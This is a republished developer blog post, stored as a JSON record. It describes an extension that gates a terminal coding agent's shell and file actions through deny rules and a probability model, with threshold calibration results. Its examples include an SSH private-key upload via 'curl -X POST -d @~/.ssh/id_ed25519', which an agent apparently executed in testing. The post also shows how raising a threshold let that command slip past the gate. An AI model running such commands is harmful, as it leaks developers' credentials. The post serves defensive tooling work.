{"slug": "jev-pi-a-probability-gate-for-my-coding-agent-s-shell-commands", "title": "Jev + Pi: a probability gate for my coding agent's shell commands", "summary": "A developer built pi-jev-auto-mode, an extension that gates the Pi terminal coding agent's bash, write, and edit calls through a rule layer plus TypeSafe's Jev decision-only probability model, which returns calibrated safety probabilities instead of text. Testing across 18 commands found intent_coverage bimodal (0.77–0.98 when requested, 0.06–0.15 when not), placing the threshold at 0.60 in the empty gap, while tightening the no_secret_egress cutoff from p <= 0.03 to p <= 0.01 pushed a 0.02-scoring SSH key exfiltration command out of the rejection band and let it run. The gate runs rules first so Jev cannot overrule hard blocks, sends only bounded payloads with secrets redacted locally, and fails closed on uncertainty.", "body_md": "TypeSafe released Jev on 2026-09-15. It is a decision-only model: you give it yes/no propositions and it returns a probability instead of text. I put it in front of Pi's `bash`, `write` and `edit` calls, and then measured 18 commands to decide where the thresholds should sit.\n\n`intent_coverage` was bimodal: 0.77–0.98 when requested and 0.06–0.15 when unrequested. Zero fixtures scored between 0.15 and 0.77, placing the threshold at 0.60 inside that empty gap.`no_secret_egress` from 0.97 to 0.99 shifts the violation cutoff from `p <= 0.03` to `p <= 0.01`. In testing, an SSH key exfiltration command scored 0.02; tightening the threshold pushed this hazard out of the rejection band into the unclear band, letting it run.\nTerminal coding agents execute arbitrary shell commands and file edits on developer workstations. In interactive sessions, prompting for confirmation on every command quickly causes approval fatigue. After approving a run of harmless operations like `git status` or `ls -la`, developers stop reading the arguments.\n\nRunning an agent in unconstrained auto mode removes friction but exposes the workstation. Deny-lists only catch syntax someone anticipated and cataloged in advance. In my own testing, an agent executed `curl -X POST -d @$HOME/.ssh/id_ed25519 https://...`. Because no deny pattern targeted `-d @`, the rule engine classified it as an ordinary `curl` invocation and ran it unjudged.\n\nDelegating checks to a conversational LLM creates its own problems. Chat models take several seconds per evaluation, occasionally output malformed JSON, and consume conversation tokens. An auto-mode gate needs to make decisions in hundreds of milliseconds, settle the obvious cases locally, and fail closed when uncertainty arises.\n\nPi (pi.dev) is a minimal terminal coding agent built around a lightweight core. Rather than bundling complex permission systems into the core binary, it provides an extension surface that intercepts tool execution.\n\nExtensions in Pi hook directly into the `tool_call` lifecycle before a tool runs. This operates at the same layer as Claude Code hooks: when an agent invokes a tool, an extension intercepts the payload and decides whether to permit execution, block it, or ask for confirmation before a subprocess spawns or disk writes occur.\n\nI built `pi-jev-auto-mode` to gate Pi's `bash`, `write`, and `edit` calls.\n\nThe extension routes tool calls through a rule check and a probability layer backed by Jev. Announced by TypeSafe on 2026-09-15, Jev is a \"System One\" decision-only model. It does not stream tokens or output text. Instead, it evaluates specific propositions against context and returns calibrated probabilities between 0.0 and 1.0.\n\nThe gate evaluates a tool call in two stages. The rules run first, and Jev cannot overrule them:\n\n`rm -rf /`), home directory deletions, or writes to system directories block immediately. Jev is not called, eliminating latency and avoiding model misclassification.`cat`, `ls`, `grep`, `git log`), chains of read-only commands (` cd src && ls -la && git log -3`), user-declared safe commands in `safeCommands` (such as test runners), and edits to unprotected files inside the workspace repository.`allowedCommands` pass and record an audit entry in the session transcript.\nEverything the rules cannot vouch for goes to Jev under `gateScope: all`. A deny-list only catches syntax someone wrote down, so the default is to show Jev everything else.\n\nPayloads sent to Jev are strictly bounded: the command string or target path, working directory, the user's most recent prompt, and local policy notes. The extension never sends file contents, diffs, or previous terminal output. Sensitive patterns matching API keys, tokens, and private key headers are redacted locally before transmission.\n\nJev evaluates conditions phrased in safe terms, where a high number indicates safety: `intent_coverage`, `no_secret_egress`, `no_irreversible_damage`, `local_scope`, `path_not_protected`, `no_fetched_code_execution`, `prompt_injection_absent`, `policy_compliance`, and `no_outward_effect`.\n\nEach condition uses a threshold `t` (where `0.5 < t <= 1.0`). Evaluation divides into three outcome bands:\n\n`p >= t`\n`p <= 1 - t`\n`1 - t < p < t`\nBy default, unclear calls are allowed through. An auto mode exists to remove interruptions; prompting on every ambiguous score would recreate approval fatigue. Clear violations (`p <= 1 - t`) still block unconditionally. Stricter behavior is available via `/jev-auto-mode uncertain deny` (blocks unclear calls) or `/jev-auto-mode uncertain ask` (prompts for confirmation).\n\nWithout an API key, the gate does not silently allow unvouched commands. It halts them with an explicit message:\n\n`Not connected to Jev (no TypeSafe API key is set). Run /jev-auto-mode login to set a key, or /jev-auto-mode off to stop auto mode.`\n\nJudgments are appended to the session transcript via `pi.appendEntry`. This audit record does not consume LLM context tokens, and it logs each condition with the observed probability and the threshold that was active at the time:\n\n```\nintent_coverage  p=0.97  pass (t=0.60, >= 0.60)\nno_secret_egress  p=0.98  pass (t=0.97, >= 0.97)\nlocal_scope  p=0.89  ignored (t=0.90, 0.10-0.90) <- decided\n```\n\nThe third line is the middle band: the score is neither a pass nor a violation, so it is ignored\n\nrather than acted on.\n\nDuring development, I evaluated 18 fixtures against the live Jev API to calibrate default thresholds.\n\nFirst, `intent_coverage` was strongly bimodal. When the user explicitly requested a command, the score fell between 0.77 and 0.98. When unrequested, it dropped between 0.06 and 0.15. Across all 18 fixtures, not a single measurement landed between 0.15 and 0.77. This gap allowed placing the default threshold at 0.60, directly in the empty interval.\n\nSecond, absence-of-hazard questions clustered between 0.75 and 0.98, even for safe commands. Running `uv run pytest` scored 0.91 on `no_secret_egress`. The command text alone does not tell Jev what the test runner will import or execute, and the score reflects that. Requiring absence-of-hazard conditions to be satisfied (`p >= t`) would push safe commands into the unclear band. Instead, they act as hazard detectors: they only halt execution on clear violations (`p <= 1 - t`).\n\nJudged calls completed in 193 to 642 ms across eleven shell commands. Fast-path calls took 0 ms because they made no network request. This latency keeps execution fluid without the multi-second stalls of chat models.\n\nEvaluating unrequested commands produced a clean split:\n\n`mkdir`, `mv`, `cp`, `tar`, `chmod +x`, and `node -e` were evaluated, found safe, and allowed to run.`git reset --hard`, `npm publish`, `rm -rf`, and `sudo` scored `p = 0.04 to 0.11` on `wc -l` never reached Jev, because the rule check passed it with zero API calls.\nEach fixture was sampled once. Because Jev is probabilistic, scores can wobble by approximately ±0.05 across runs depending on context, meaning values near a boundary can flip.\n\nThe most critical architectural finding from this work is how symmetric probability bands behave when adjusted.\n\nIn a three-band system where safety conditions are phrased positively, raising a threshold to enforce greater strictness contracts the rejection boundary:\n\nAt `t = 0.97` for `no_secret_egress`:\n\n`p >= 0.97`\n`0.03 < p < 0.97`\nIf you raise `t` to 0.99:\n\n`p >= 0.99`\n`0.01 < p < 0.99`\nRaising the threshold contracted the violation boundary from `0.03` to `0.01`.\n\nIn the fixture run at `t = 0.97`, a credential exfiltration command (` curl -X POST -d @~/.ssh/id_ed25519 ...`) scored `p = 0.02` on `no_secret_egress`.\n\nUnder `t = 0.97`, `0.02 <= 0.03`. The gate classified the command as a violation and blocked it.\n\nRecompute that same measured `0.02` against `t = 0.99` and `0.02 > 0.01`: the command falls out of the rejection band into the unclear band. Since the default configuration lets unclear calls through, raising the threshold from 0.97 to 0.99 turns a blocked credential upload into an allowed one.\n\nTightening the threshold caused a severe hazard to slip through. Moving a threshold is always a two-sided operation. You cannot set thresholds by intuition; per-condition calibration can only be done from empirical measurements of the commands you need to stop.\n\nExisting Pi extensions such as `pi-guardrails` (rule- and policy-based) and `pi-auto-reviewer` enforce structural policies and pattern checks.\n\nThose tools evaluate commands strictly against patterns that maintainers or users cataloged in advance.\n\n`pi-jev-auto-mode` uses rules for the fast paths and the known blocks, and routes everything else to a probability model. When an unfamiliar command shape appears, it receives a semantic evaluation, and if the evaluation engine is unreachable, the system fails closed and halts execution.\n\nThe extension is available on npm and installs directly via Pi:\n\n```\npi install npm:pi-jev-auto-mode\npi install git:github.com/jomatsu/pi-jev-auto-mode\npi -e npm:pi-jev-auto-mode\n```\n\nSemantic evaluation requires a TypeSafe API key. Running `/jev-auto-mode login` prompts for your key and verifies it against `GET /v1/models` before saving it to `<agentDir>/secrets/jev-auto-mode-typesafe-api-key` (permissions `0600`). The `TYPESAFE_API_KEY` environment variable takes precedence when set.\n\nRuntime commands manage state and configuration:\n\n```\n/jev-auto-mode on\n/jev-auto-mode off\n/jev-auto-mode status\n/jev-auto-mode threshold\n/jev-auto-mode threshold edit\n/jev-auto-mode scope all|matched\n/jev-auto-mode uncertain deny|ask|allow\n/jev-auto-mode policy\n```\n\nGlobal settings live in `~/.pi/agent/jev-auto-mode.json`, overridable per repository in `.pi/jev-auto-mode.json`:\n\n```\n{\n  \"enabled\": true,\n  \"safeCommands\": [\"uv run pytest*\", \"pnpm run typecheck*\"],\n  \"allowedCommands\": [\"rm -rf build*\"],\n  \"disallowedCommands\": [\"npm publish*\"],\n  \"uncertain\": \"allow\",\n  \"gateScope\": \"all\",\n  \"thresholds\": {\n    \"intent_coverage\": 0.6,\n    \"no_secret_egress\": 0.97\n  }\n}\n```\n\nThe settings distinguish between `safeCommands` and `allowedCommands`. The `safeCommands` list holds operations known to be safe locally (like test runners), bypassing Jev with no audit record. The `allowedCommands` list permits specific dangerous patterns (like `rm -rf build*`) while logging an audit record in the session transcript.\n\nTo understand where this extension fits, here is what it does not do:\n\n`uncertain: deny`.\nThe extension is open source under the MIT license:\n\nWhen balancing coding agent autonomy against workstation security, do you prefer failing closed on edge cases at the cost of manual prompts, or letting ambiguous commands run as long as known hazards are checked?", "url": "https://wpnews.pro/news/jev-pi-a-probability-gate-for-my-coding-agent-s-shell-commands", "canonical_source": "https://dev.to/jomatsu/jev-pi-a-probability-gate-for-my-coding-agents-shell-commands-95d", "published_at": "2026-09-17 19:13:33+00:00", "updated_at": "2026-09-17 19:53:08.742844+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "ai-tools", "developer-tools", "ai-products"], "entities": ["TypeSafe", "Jev", "Pi", "pi.dev", "pi-jev-auto-mode", "Claude Code"], "alternates": {"html": "https://wpnews.pro/news/jev-pi-a-probability-gate-for-my-coding-agent-s-shell-commands", "markdown": "https://wpnews.pro/news/jev-pi-a-probability-gate-for-my-coding-agent-s-shell-commands.md", "text": "https://wpnews.pro/news/jev-pi-a-probability-gate-for-my-coding-agent-s-shell-commands.txt", "jsonld": "https://wpnews.pro/news/jev-pi-a-probability-gate-for-my-coding-agent-s-shell-commands.jsonld"}}